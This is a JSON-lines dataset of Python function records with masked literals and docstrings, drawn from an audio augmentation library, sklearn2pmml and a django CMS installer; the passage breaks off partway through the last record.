{"signature": "def __repr__(self):", "body": "class_name = self.__class__.__name__<EOL>return '<STR_LIT>'.format(class_name,<EOL>_pprint(self.get_params(),<EOL>offset=len(class_name),),)<EOL>", "docstring": "Pretty-print the object", "id": "f5846:c2:m2"}
{"signature": "def __serial_transform(self, jam, steps):", "body": "<EOL>if six.PY2:<EOL><INDENT>attr = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>attr = '<STR_LIT>'<EOL><DEDENT>pending = len(steps)<EOL>nexts = itertools.cycle(getattr(iter(D.transform(jam)), attr)<EOL>for (name, D) in steps)<EOL>while pending:<EOL><INDENT>try:<EOL><INDENT>for next_jam in nexts:<EOL><INDENT>yield next_jam()<EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>pending -= <NUM_LIT:1><EOL>nexts = itertools.cycle(itertools.islice(nexts, pending))<EOL><DEDENT><DEDENT>", "docstring": "A serial transformation union", "id": "f5846:c2:m3"}
{"signature": "def transform(self, jam):", "body": "for output in self.__serial_transform(jam, self.steps):<EOL><INDENT>yield output<EOL><DEDENT>", "docstring": "Apply the sequence of transformations to a single jam object.\n\n        Parameters\n        ----------\n        jam : jams.JAMS\n            The jam object to transform\n\n        Yields\n        ------\n        jam_out : jams.JAMS\n            The jam objects produced by each member of the union", "id": "f5846:c2:m4"}
{"signature": "def transform(self, jam):", "body": "<EOL>yield jam<EOL>for jam_out in self.transformer.transform(jam):<EOL><INDENT>yield jam_out<EOL><DEDENT>", "docstring": "Bypass transformations.\n\n        Parameters\n        ----------\n        jam : pyjams.JAMS\n            A muda-enabled JAMS object\n\n        Yields\n        ------\n        jam_out : pyjams.JAMS iterator\n            The first result is `jam` (unmodified), by reference\n            All subsequent results are generated by `transformer`", "id": "f5848:c0:m1"}
{"signature": "def __sox(y, sr, *args):", "body": "assert sr > <NUM_LIT:0><EOL>fdesc, infile = tempfile.mkstemp(suffix='<STR_LIT>')<EOL>os.close(fdesc)<EOL>fdesc, outfile = tempfile.mkstemp(suffix='<STR_LIT>')<EOL>os.close(fdesc)<EOL>librosa.output.write_wav(infile, y, sr)<EOL>try:<EOL><INDENT>arguments = ['<STR_LIT>', infile, outfile, '<STR_LIT>']<EOL>arguments.extend(args)<EOL>subprocess.check_call(arguments)<EOL>y_out, sr = psf.read(outfile)<EOL>y_out = y_out.T<EOL>if y.ndim == <NUM_LIT:1>:<EOL><INDENT>y_out = librosa.to_mono(y_out)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>os.unlink(infile)<EOL>os.unlink(outfile)<EOL><DEDENT>return y_out<EOL>", "docstring": "Execute sox\n\n    Parameters\n    ----------\n    y : np.ndarray\n        Audio time series\n\n    sr : int > 0\n        Sampling rate of `y`\n\n    *args\n        Additional arguments to sox\n\n    Returns\n    -------\n    y_out : np.ndarray\n        `y` after sox transformation", "id": "f5849:m0"}
{"signature": "def drc(y, sr, preset):", "body": "return __sox(y, sr, '<STR_LIT>', *PRESETS[preset])<EOL>", "docstring": "Apply a preset DRC\n\n    Parameters\n    ----------\n    y : np.ndarray\n        Audio time series\n\n    sr : int > 0\n        Sampling rate of `y`\n\n    preset : str\n        Preset keyword (see PRESETS)\n\n    Returns\n    -------\n    y_out : np.ndarray\n        `y` after applying preset DRC", "id": "f5849:m1"}
{"signature": "def __init__(self, rate=<NUM_LIT>):", "body": "AbstractTimeStretch.__init__(self)<EOL>self.rate = np.atleast_1d(rate).flatten()<EOL>if np.any(self.rate <= <NUM_LIT:0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.rate = self.rate.tolist()<EOL>", "docstring": "Time stretching", "id": "f5850:c1:m0"}
{"signature": "def sample_clip_indices(filename, n_samples, sr):", "body": "with psf.SoundFile(str(filename), mode='<STR_LIT:r>') as soundf:<EOL><INDENT>n_target = int(np.ceil(n_samples * soundf.samplerate / float(sr)))<EOL>if len(soundf) < n_target:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(filename, len(soundf)) +<EOL>'<STR_LIT>'.format(n_target))<EOL><DEDENT>start = np.random.randint(<NUM_LIT:0>, <NUM_LIT:1> + len(soundf) - n_target)<EOL>stop = start + n_target<EOL>return start, stop<EOL><DEDENT>", "docstring": "Calculate the indices at which to sample a fragment of audio from a file.\n\n    Parameters\n    ----------\n    filename : str\n        Path to the input file\n\n    n_samples : int > 0\n        The number of samples to load\n\n    sr : int > 0\n        The target sampling rate\n\n    Returns\n    -------\n    start : int\n        The sample index from `filename` at which the audio fragment starts\n    stop : int\n        The sample index from `filename` at which the audio fragment stops (e.g. y = audio[start:stop])", "id": "f5852:m0"}
{"signature": "def slice_clip(filename, start, stop, n_samples, sr, mono=True):", "body": "with psf.SoundFile(str(filename), mode='<STR_LIT:r>') as soundf:<EOL><INDENT>n_target = stop - start<EOL>soundf.seek(start)<EOL>y = soundf.read(n_target).T<EOL>if mono:<EOL><INDENT>y = librosa.to_mono(y)<EOL><DEDENT>y = librosa.resample(y, soundf.samplerate, sr)<EOL>y = librosa.util.fix_length(y, n_samples)<EOL>return y<EOL><DEDENT>", "docstring": "Slice a fragment of audio from a file.\n\n    This uses pysoundfile to efficiently seek without\n    loading the entire stream.\n\n    Parameters\n    ----------\n    filename : str\n        Path to the input file\n\n    start : int\n        The sample index of `filename` at which the audio fragment should start\n\n    stop : int\n        The sample index of `filename` at which the audio fragment should stop (e.g. y = audio[start:stop])\n\n    n_samples : int > 0\n        The number of samples to load\n\n    sr : int > 0\n        The target sampling rate\n\n    mono : bool\n        Ensure monophonic audio\n\n    Returns\n    -------\n    y : np.ndarray [shape=(n_samples,)]\n        A fragment of audio sampled from `filename`\n\n    Raises\n    ------\n    ValueError\n        If the source file is shorter than the requested length", "id": "f5852:m1"}
{"signature": "def transpose(label, n_semitones):", "body": "<EOL>match = re.match(six.text_type('<STR_LIT>'),<EOL>six.text_type(label))<EOL>if not match:<EOL><INDENT>return label<EOL><DEDENT>note = match.group('<STR_LIT>')<EOL>new_note = librosa.midi_to_note(librosa.note_to_midi(note) + n_semitones,<EOL>octave=False)<EOL>return new_note + match.group('<STR_LIT>')<EOL>", "docstring": "Transpose a chord label by some number of semitones\n\n    Parameters\n    ----------\n    label : str\n        A chord string\n\n    n_semitones : float\n        The number of semitones to move `label`\n\n    Returns\n    -------\n    label_transpose : str\n        The transposed chord label", "id": "f5853:m0"}
{"signature": "def __init__(self):", "body": "BaseTransformer.__init__(self)<EOL>self._register('<STR_LIT>', self.deform_note)<EOL>self._register('<STR_LIT>', self.deform_contour)<EOL>self._register('<STR_LIT>', self.deform_hz)<EOL>self._register('<STR_LIT>', self.deform_midi)<EOL>self._register('<STR_LIT>', self.deform_tonic)<EOL>", "docstring": "Abstract base class for pitch shifting.\n\n        This implements the deformations, but does not manage state.", "id": "f5853:c0:m0"}
{"signature": "def jam_pack(jam, **kwargs):", "body": "if not hasattr(jam.sandbox, '<STR_LIT>'):<EOL><INDENT>jam.sandbox.muda = jams.Sandbox(history=[],<EOL>state=[],<EOL>version=dict(muda=version,<EOL>librosa=librosa.__version__,<EOL>jams=jams.__version__,<EOL>pysoundfile=psf.__version__))<EOL><DEDENT>elif not isinstance(jam.sandbox.muda, jams.Sandbox):<EOL><INDENT>jam.sandbox.muda = jams.Sandbox(**jam.sandbox.muda)<EOL><DEDENT>jam.sandbox.muda.update(**kwargs)<EOL>return jam<EOL>", "docstring": "Pack data into a jams sandbox.\n\n    If not already present, this creates a `muda` field within `jam.sandbox`,\n    along with `history`, `state`, and version arrays which are populated by\n    deformation objects.\n\n    Any additional fields can be added to the `muda` sandbox by supplying\n    keyword arguments.\n\n    Parameters\n    ----------\n    jam : jams.JAMS\n        A JAMS object\n\n    Returns\n    -------\n    jam : jams.JAMS\n        The updated JAMS object\n\n    Examples\n    --------\n    >>> jam = jams.JAMS()\n    >>> muda.jam_pack(jam, my_data=dict(foo=5, bar=None))\n    >>> jam.sandbox\n    <Sandbox: muda>\n    >>> jam.sandbox.muda\n    <Sandbox: state, version, my_data, history>\n    >>> jam.sandbox.muda.my_data\n    {'foo': 5, 'bar': None}", "id": "f5854:m0"}
{"signature": "def load_jam_audio(jam_in, audio_file,<EOL>validate=True,<EOL>strict=True,<EOL>fmt='<STR_LIT>',<EOL>**kwargs):", "body": "if isinstance(jam_in, jams.JAMS):<EOL><INDENT>jam = jam_in<EOL><DEDENT>else:<EOL><INDENT>jam = jams.load(jam_in, validate=validate, strict=strict, fmt=fmt)<EOL><DEDENT>y, sr = librosa.load(audio_file, **kwargs)<EOL>if jam.file_metadata.duration is None:<EOL><INDENT>jam.file_metadata.duration = librosa.get_duration(y=y, sr=sr)<EOL><DEDENT>return jam_pack(jam, _audio=dict(y=y, sr=sr))<EOL>", "docstring": "Load a jam and pack it with audio.\n\n    Parameters\n    ----------\n    jam_in : str, file descriptor, or jams.JAMS\n        JAMS filename, open file-descriptor, or object to load.\n        See ``jams.load`` for acceptable formats.\n\n    audio_file : str\n        Audio filename to load\n\n    validate : bool\n    strict : bool\n    fmt : str\n        Parameters to `jams.load`\n\n    kwargs : additional keyword arguments\n        See `librosa.load`\n\n    Returns\n    -------\n    jam : jams.JAMS\n        A jams object with audio data in the top-level sandbox\n\n    Notes\n    -----\n    This operation can modify the `file_metadata.duration` field of `jam_in`:\n    If it is not currently set, it will be populated with the duration of the\n    audio file.\n\n    See Also\n    --------\n    jams.load\n    librosa.core.load", "id": "f5854:m1"}
{"signature": "def save(filename_audio, filename_jam, jam, strict=True, fmt='<STR_LIT>', **kwargs):", "body": "y = jam.sandbox.muda._audio['<STR_LIT:y>']<EOL>sr = jam.sandbox.muda._audio['<STR_LIT>']<EOL>psf.write(filename_audio, y, sr, **kwargs)<EOL>jam.save(filename_jam, strict=strict, fmt=fmt)<EOL>", "docstring": "Save a muda jam to disk\n\n    Parameters\n    ----------\n    filename_audio: str\n        The path to store the audio file\n\n    filename_jam: str\n        The path to store the jams object\n\n    strict: bool\n        Strict safety checking for jams output\n\n    fmt : str\n        Output format parameter for `jams.JAMS.save`\n\n    kwargs\n        Additional parameters to `soundfile.write`", "id": "f5854:m2"}
{"signature": "def __reconstruct(params):", "body": "if isinstance(params, dict):<EOL><INDENT>if '<STR_LIT>' in params:<EOL><INDENT>cls = params['<STR_LIT>']<EOL>data = __reconstruct(params['<STR_LIT>'])<EOL>return cls(**data)<EOL><DEDENT>else:<EOL><INDENT>data = dict()<EOL>for key, value in six.iteritems(params):<EOL><INDENT>data[key] = __reconstruct(value)<EOL><DEDENT>return data<EOL><DEDENT><DEDENT>elif isinstance(params, (list, tuple)):<EOL><INDENT>return [__reconstruct(v) for v in params]<EOL><DEDENT>else:<EOL><INDENT>return params<EOL><DEDENT>", "docstring": "Reconstruct a transformation or pipeline given a parameter dump.", "id": "f5854:m3"}
{"signature": "def serialize(transform, **kwargs):", "body": "params = transform.get_params()<EOL>return jsonpickle.encode(params, **kwargs)<EOL>", "docstring": "Serialize a transformation object or pipeline.\n\n    Parameters\n    ----------\n    transform : BaseTransform or Pipeline\n        The transformation object to be serialized\n\n    kwargs\n        Additional keyword arguments to `jsonpickle.encode()`\n\n    Returns\n    -------\n    json_str : str\n        A JSON encoding of the transformation\n\n    See Also\n    --------\n    deserialize\n\n    Examples\n    --------\n    >>> D = muda.deformers.TimeStretch(rate=1.5)\n    >>> muda.serialize(D)\n    '{\"params\": {\"rate\": 1.5},\n      \"__class__\": {\"py/type\": \"muda.deformers.time.TimeStretch\"}}'", "id": "f5854:m4"}
{"signature": "def deserialize(encoded, **kwargs):", "body": "params = jsonpickle.decode(encoded, **kwargs)<EOL>return __reconstruct(params)<EOL>", "docstring": "Construct a muda transformation from a JSON encoded string.\n\n    Parameters\n    ----------\n    encoded : str\n        JSON encoding of the transformation or pipeline\n\n    kwargs\n        Additional keyword arguments to `jsonpickle.decode()`\n\n    Returns\n    -------\n    obj\n        The transformation\n\n    See Also\n    --------\n    serialize\n\n    Examples\n    --------\n    >>> D = muda.deformers.TimeStretch(rate=1.5)\n    >>> D_serial = muda.serialize(D)\n    >>> D2 = muda.deserialize(D_serial)\n    >>> D2\n    TimeStretch(rate=1.5)", "id": "f5854:m5"}
{"signature": "def bresenham(x0, y0, x1, y1):", "body": "dx = x1 - x0<EOL>dy = y1 - y0<EOL>xsign = <NUM_LIT:1> if dx > <NUM_LIT:0> else -<NUM_LIT:1><EOL>ysign = <NUM_LIT:1> if dy > <NUM_LIT:0> else -<NUM_LIT:1><EOL>dx = abs(dx)<EOL>dy = abs(dy)<EOL>if dx > dy:<EOL><INDENT>xx, xy, yx, yy = xsign, <NUM_LIT:0>, <NUM_LIT:0>, ysign<EOL><DEDENT>else:<EOL><INDENT>dx, dy = dy, dx<EOL>xx, xy, yx, yy = <NUM_LIT:0>, ysign, xsign, <NUM_LIT:0><EOL><DEDENT>D = <NUM_LIT:2>*dy - dx<EOL>y = <NUM_LIT:0><EOL>for x in range(dx + <NUM_LIT:1>):<EOL><INDENT>yield x0 + x*xx + y*yx, y0 + x*xy + y*yy<EOL>if D >= <NUM_LIT:0>:<EOL><INDENT>y += <NUM_LIT:1><EOL>D -= <NUM_LIT:2>*dx<EOL><DEDENT>D += <NUM_LIT:2>*dy<EOL><DEDENT>", "docstring": "Yield integer coordinates on the line from (x0, y0) to (x1, y1).\n\n    Input coordinates should be integers.\n\n    The result will contain both the start and the end point.", "id": "f5857:m0"}
{"signature": "def make_pmml_pipeline(obj, active_fields = None, target_fields = None):", "body": "steps = _filter_steps(_get_steps(obj))<EOL>pipeline = PMMLPipeline(steps)<EOL>if active_fields is not None:<EOL><INDENT>pipeline.active_fields = numpy.asarray(active_fields)<EOL><DEDENT>if target_fields is not None:<EOL><INDENT>pipeline.target_fields = numpy.asarray(target_fields)<EOL><DEDENT>return pipeline<EOL>", "docstring": "Translates a regular Scikit-Learn estimator or pipeline to a PMML pipeline.\n\n    Parameters:\n    ----------\n    obj: BaseEstimator\n            The object.\n\n    active_fields: list of strings, optional\n            Feature names. If missing, \"x1\", \"x2\", .., \"xn\" are assumed.\n\n    target_fields: list of strings, optional\n            Label name(s). If missing, \"y\" is assumed.", "id": "f5869:m3"}
{"signature": "def sklearn2pmml(pipeline, pmml, user_classpath = [], with_repr = False, debug = False, java_encoding = \"<STR_LIT>\"):", "body": "if debug:<EOL><INDENT>java_version = _java_version(java_encoding)<EOL>if java_version is None:<EOL><INDENT>java_version = (\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(platform.python_version()))<EOL>print(\"<STR_LIT>\".format(sklearn.__version__))<EOL>print(\"<STR_LIT>\".format(joblib.__version__))<EOL>print(\"<STR_LIT>\".format(pandas.__version__))<EOL>print(\"<STR_LIT>\".format(sklearn_pandas.__version__))<EOL>print(\"<STR_LIT>\".format(__version__))<EOL>print(\"<STR_LIT>\".format(java_version[<NUM_LIT:0>], java_version[<NUM_LIT:1>]))<EOL><DEDENT>if not isinstance(pipeline, PMMLPipeline):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + PMMLPipeline.__name__ + \"<STR_LIT>\")<EOL><DEDENT>estimator = pipeline._final_estimator<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", os.pathsep.join(_classpath(user_classpath)), \"<STR_LIT>\"]<EOL>dumps = []<EOL>try:<EOL><INDENT>if with_repr:<EOL><INDENT>pipeline.repr_ = repr(pipeline)<EOL><DEDENT>if hasattr(estimator, \"<STR_LIT>\"):<EOL><INDENT>estimator_mojo = estimator.download_mojo()<EOL>dumps.append(estimator_mojo)<EOL>estimator._mojo_path = estimator_mojo<EOL><DEDENT>pipeline_pkl = _dump(pipeline, \"<STR_LIT>\")<EOL>cmd.extend([\"<STR_LIT>\", pipeline_pkl])<EOL>dumps.append(pipeline_pkl)<EOL>cmd.extend([\"<STR_LIT>\", pmml])<EOL>if debug:<EOL><INDENT>print(\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(cmd)))<EOL><DEDENT>try:<EOL><INDENT>process = Popen(cmd, stdout = PIPE, stderr = PIPE, bufsize = <NUM_LIT:1>)<EOL><DEDENT>except OSError:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>output, error = process.communicate()<EOL>retcode = process.poll()<EOL>if debug or retcode:<EOL><INDENT>if(len(output) > <NUM_LIT:0>):<EOL><INDENT>print(\"<STR_LIT>\".format(_decode(output, java_encoding)))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if(len(error) > <NUM_LIT:0>):<EOL><INDENT>print(\"<STR_LIT>\".format(_decode(error, java_encoding)))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if retcode:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if debug:<EOL><INDENT>print(\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(dumps)))<EOL><DEDENT>else:<EOL><INDENT>for dump in dumps:<EOL><INDENT>os.remove(dump)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Converts a fitted Scikit-Learn pipeline to PMML.\n\n    Parameters:\n    ----------\n    pipeline: PMMLPipeline\n            The pipeline.\n\n    pmml: string\n            The path to where the PMML document should be stored.\n\n    user_classpath: list of strings, optional\n            The paths to JAR files that provide custom Transformer, Selector and/or Estimator converter classes.\n            The JPMML-SkLearn classpath is constructed by appending user JAR files to package JAR files.\n\n    with_repr: boolean, optional\n            If true, insert the string representation of pipeline into the PMML document.\n\n    debug: boolean, optional\n            If true, print information about the conversion process.\n\n    java_encoding: string, optional\n            The character encoding to use for decoding Java output and error byte streams.", "id": "f5869:m10"}
{"signature": "def make_tpot_pmml_config(config, user_classpath = []):", "body": "tpot_keys = set(config.keys())<EOL>classes = _supported_classes(user_classpath)<EOL>pmml_keys = (set(classes)).union(set([_strip_module(class_) for class_ in classes]))<EOL>return { key : config[key] for key in (tpot_keys).intersection(pmml_keys)}<EOL>", "docstring": "Translates a regular TPOT configuration to a PMML-compatible TPOT configuration.\n\n    Parameters:\n    ----------\n    obj: config\n            The configuration dictionary.\n\n    user_classpath: list of strings, optional\n            The paths to JAR files that provide custom Transformer, Selector and/or Estimator converter classes.\n            The JPMML-SkLearn classpath is constructed by appending user JAR files to package JAR files.", "id": "f5869:m14"}
{"signature": "def unused(self, config_data):", "body": "for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>delattr(config_data, attr)<EOL><DEDENT>if hasattr(config_data, '<STR_LIT>'):<EOL><INDENT>delattr(config_data, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Remove not configurable keys.", "id": "f5877:c1:m3"}
{"signature": "def create_project(config_data):", "body": "env = deepcopy(dict(os.environ))<EOL>env[str('<STR_LIT>')] = str('<STR_LIT>'.format(config_data.project_name))<EOL>env[str('<STR_LIT>')] = str(os.pathsep.join(map(shlex_quote, sys.path)))<EOL>kwargs = {}<EOL>args = []<EOL>if config_data.template:<EOL><INDENT>kwargs['<STR_LIT>'] = config_data.template<EOL><DEDENT>args.append(config_data.project_name)<EOL>if config_data.project_directory:<EOL><INDENT>args.append(config_data.project_directory)<EOL>if not os.path.exists(config_data.project_directory):<EOL><INDENT>os.makedirs(config_data.project_directory)<EOL><DEDENT><DEDENT>base_cmd = '<STR_LIT>'<EOL>start_cmds = [os.path.join(os.path.dirname(sys.executable), base_cmd)]<EOL>start_cmd_pnodes = ['<STR_LIT>']<EOL>start_cmds.extend([<EOL>os.path.join(os.path.dirname(sys.executable), pnode, base_cmd)<EOL>for pnode in start_cmd_pnodes<EOL>])<EOL>start_cmd = [base_cmd]<EOL>for p in start_cmds:<EOL><INDENT>if os.path.exists(p):<EOL><INDENT>start_cmd = [sys.executable, p]<EOL>break<EOL><DEDENT><DEDENT>cmd_args = start_cmd + ['<STR_LIT>'] + args<EOL>if config_data.verbose:<EOL><INDENT>sys.stdout.write('<STR_LIT>'.format('<STR_LIT:U+0020>'.join(cmd_args)))<EOL><DEDENT>try:<EOL><INDENT>output = subprocess.check_output(cmd_args, stderr=subprocess.STDOUT)<EOL>sys.stdout.write(output.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>except subprocess.CalledProcessError as e:  <EOL><INDENT>if config_data.verbose:<EOL><INDENT>sys.stdout.write(e.output.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Call django-admin to create the project structure\n\n:param config_data: configuration data", "id": "f5883:m0"}
{"signature": "def _detect_migration_layout(vars, apps):", "body": "DJANGO_MODULES = {}<EOL>for module in vars.MIGRATIONS_CHECK_MODULES:<EOL><INDENT>if module in apps:<EOL><INDENT>try:<EOL><INDENT>mod = __import__('<STR_LIT>'.format(module))  <EOL>DJANGO_MODULES[module] = '<STR_LIT>'.format(module)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return DJANGO_MODULES<EOL>", "docstring": "Detect migrations layout for plugins\n:param vars: installer settings\n:param apps: installed applications", "id": "f5883:m1"}
{"signature": "def _install_aldryn(config_data):  ", "body": "import requests<EOL>media_project = os.path.join(config_data.project_directory, '<STR_LIT>', '<STR_LIT>')<EOL>static_main = False<EOL>static_project = os.path.join(config_data.project_directory, '<STR_LIT>', '<STR_LIT>')<EOL>template_target = os.path.join(config_data.project_directory, '<STR_LIT>')<EOL>tmpdir = tempfile.mkdtemp()<EOL>aldrynzip = requests.get(data.ALDRYN_BOILERPLATE)<EOL>zip_open = zipfile.ZipFile(BytesIO(aldrynzip.content))<EOL>zip_open.extractall(path=tmpdir)<EOL>for component in os.listdir(os.path.join(tmpdir, '<STR_LIT>')):<EOL><INDENT>src = os.path.join(tmpdir, '<STR_LIT>', component)<EOL>dst = os.path.join(config_data.project_directory, component)<EOL>if os.path.isfile(src):<EOL><INDENT>shutil.copy(src, dst)<EOL><DEDENT>else:<EOL><INDENT>shutil.copytree(src, dst)<EOL><DEDENT><DEDENT>shutil.rmtree(tmpdir)<EOL>return media_project, static_main, static_project, template_target<EOL>", "docstring": "Install aldryn boilerplate\n\n:param config_data: configuration data", "id": "f5883:m2"}
{"signature": "def copy_files(config_data):", "body": "if config_data.i18n == '<STR_LIT:yes>':<EOL><INDENT>urlconf_path = os.path.join(os.path.dirname(__file__), '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>urlconf_path = os.path.join(os.path.dirname(__file__), '<STR_LIT>')<EOL><DEDENT>share_path = os.path.join(os.path.dirname(__file__), '<STR_LIT>')<EOL>template_path = os.path.join(share_path, '<STR_LIT>')<EOL>if config_data.aldryn:  <EOL><INDENT>media_project, static_main, static_project, template_target = _install_aldryn(config_data)<EOL><DEDENT>else:<EOL><INDENT>media_project = os.path.join(config_data.project_directory, '<STR_LIT>')<EOL>static_main = os.path.join(config_data.project_path, '<STR_LIT>')<EOL>static_project = os.path.join(config_data.project_directory, '<STR_LIT>')<EOL>template_target = os.path.join(config_data.project_path, '<STR_LIT>')<EOL>if config_data.templates and os.path.isdir(config_data.templates):<EOL><INDENT>template_path = config_data.templates<EOL><DEDENT>elif config_data.bootstrap:<EOL><INDENT>template_path = os.path.join(template_path, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>template_path = os.path.join(template_path, '<STR_LIT>')<EOL><DEDENT><DEDENT>shutil.copy(urlconf_path, config_data.urlconf_path)<EOL>if media_project:<EOL><INDENT>os.makedirs(media_project)<EOL><DEDENT>if static_main:<EOL><INDENT>os.makedirs(static_main)<EOL><DEDENT>if not os.path.exists(static_project):<EOL><INDENT>os.makedirs(static_project)<EOL><DEDENT>if not os.path.exists(template_target):<EOL><INDENT>os.makedirs(template_target)<EOL><DEDENT>for filename in glob.glob(os.path.join(template_path, '<STR_LIT>')):<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>shutil.copy(filename, template_target)<EOL><DEDENT><DEDENT>if config_data.noinput and not config_data.no_user:<EOL><INDENT>script_path = os.path.join(share_path, '<STR_LIT>')<EOL>if os.path.isfile(script_path):<EOL><INDENT>shutil.copy(script_path, os.path.join(config_data.project_path, '<STR_LIT:..>'))<EOL><DEDENT><DEDENT>if config_data.starting_page:<EOL><INDENT>for filename in glob.glob(os.path.join(share_path, '<STR_LIT>')):<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>shutil.copy(filename, os.path.join(config_data.project_path, '<STR_LIT:..>'))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "It's a little rude actually: it just overwrites the django-generated urls.py\nwith a custom version and put other files in the project directory.\n\n:param config_data: configuration data", "id": "f5883:m3"}
{"signature": "def patch_settings(config_data):", "body": "import django<EOL>current_django_version = LooseVersion(django.__version__)<EOL>declared_django_version = LooseVersion(config_data.django_version)<EOL>if not os.path.exists(config_data.settings_path):<EOL><INDENT>sys.stderr.write(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(config_data.settings_path)<EOL>)<EOL>return sys.exit(<NUM_LIT:5>)<EOL><DEDENT>if current_django_version.version[:<NUM_LIT:2>] != declared_django_version.version[:<NUM_LIT:2>]:<EOL><INDENT>sys.stderr.write(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:\\n>'.format(<EOL>current_django_version, declared_django_version<EOL>)<EOL>)<EOL>return sys.exit(<NUM_LIT:9>)<EOL><DEDENT>overridden_settings = (<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>)<EOL>extra_settings = '<STR_LIT>'<EOL>with open(config_data.settings_path, '<STR_LIT:r>') as fd_original:<EOL><INDENT>original = fd_original.read()<EOL><DEDENT>if config_data.extra_settings and os.path.exists(config_data.extra_settings):<EOL><INDENT>with open(config_data.extra_settings, '<STR_LIT:r>') as fd_extra:<EOL><INDENT>extra_settings = fd_extra.read()<EOL><DEDENT><DEDENT>original = original.replace('<STR_LIT>', '<STR_LIT>')<EOL>if config_data.aldryn:  <EOL><INDENT>DATA_DIR = (<EOL>'<STR_LIT>'<EOL>)<EOL>STATICFILES_DIR = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>DATA_DIR = '<STR_LIT>'<EOL>STATICFILES_DIR = '<STR_LIT>'.format(<EOL>config_data.project_name<EOL>)<EOL><DEDENT>original = data.DEFAULT_PROJECT_HEADER + DATA_DIR + original<EOL>original += '<STR_LIT>'<EOL>original += '<STR_LIT>'<EOL>original += '<STR_LIT>'<EOL>original +=", "docstring": "Modify the settings file created by Django injecting the django CMS\nconfiguration\n\n:param config_data: configuration data", "id": "f5883:m4"}
{"signature": "def _build_settings(config_data):", "body": "spacer = '<STR_LIT:U+0020>'<EOL>text = []<EOL>vars = get_settings()<EOL>vars.MIDDLEWARE_CLASSES.insert(<NUM_LIT:0>, vars.APPHOOK_RELOAD_MIDDLEWARE_CLASS)<EOL>processors = vars.TEMPLATE_CONTEXT_PROCESSORS + vars.TEMPLATE_CONTEXT_PROCESSORS_3<EOL>text.append(data.TEMPLATES_1_8.format(<EOL>loaders=('<STR_LIT>' + spacer * <NUM_LIT:4>).join([<EOL>\"<STR_LIT>\".format(var) for var in vars.TEMPLATE_LOADERS<EOL>if (<EOL>LooseVersion(config_data.django_version) < LooseVersion('<STR_LIT>') or<EOL>'<STR_LIT>' not in var<EOL>)<EOL>]),<EOL>processors=('<STR_LIT>' + spacer * <NUM_LIT:4>).join([\"<STR_LIT>\".format(var) for var in processors]),<EOL>dirs=\"<STR_LIT>\".format(config_data.project_name)<EOL>))<EOL>if LooseVersion(config_data.django_version) >= LooseVersion('<STR_LIT>'):<EOL><INDENT>text.append('<STR_LIT>'.format(<EOL>spacer, ('<STR_LIT>' + spacer).join(['<STR_LIT>'.format(var)<EOL>for var in vars.MIDDLEWARE_CLASSES])<EOL>))<EOL><DEDENT>else:<EOL><INDENT>text.append('<STR_LIT>'.format(<EOL>spacer, ('<STR_LIT>' + spacer).join([\"<STR_LIT>\".format(var)<EOL>for var in vars.MIDDLEWARE_CLASSES])<EOL>))<EOL><DEDENT>apps = list(vars.INSTALLED_APPS)<EOL>apps = list(vars.CMS_3_HEAD) + apps<EOL>apps.extend(vars.TREEBEARD_APPS)<EOL>apps.extend(vars.CMS_3_APPLICATIONS)<EOL>if not config_data.no_plugins:<EOL><INDENT>apps.extend(vars.FILER_PLUGINS_3)<EOL><DEDENT>if config_data.aldryn:  <EOL><INDENT>apps.extend(vars.ALDRYN_APPLICATIONS)<EOL><DEDENT>if config_data.reversion and LooseVersion(config_data.cms_version) < LooseVersion('<STR_LIT>'):<EOL><INDENT>apps.extend(vars.REVERSION_APPLICATIONS)<EOL><DEDENT>text.append('<STR_LIT>'.format(<EOL>spacer, ('<STR_LIT>' + spacer).join(['<STR_LIT>'.format(var) for var in apps] +<EOL>['<STR_LIT>'.format(config_data.project_name)])<EOL>))<EOL>text.append('<STR_LIT>'.format(<EOL>spacer, '<STR_LIT>',<EOL>('<STR_LIT:\\n>' + spacer).join(['<STR_LIT>'.format(item) for item in config_data.languages])  <EOL>))<EOL>cms_langs = deepcopy(vars.CMS_LANGUAGES)<EOL>for lang in config_data.languages:<EOL><INDENT>lang_dict = {'<STR_LIT:code>': lang, '<STR_LIT:name>': lang}<EOL>lang_dict.update(copy(cms_langs['<STR_LIT:default>']))<EOL>cms_langs[<NUM_LIT:1>].append(lang_dict)<EOL><DEDENT>cms_text = ['<STR_LIT>']<EOL>cms_text.append('<STR_LIT>'.format(spacer, 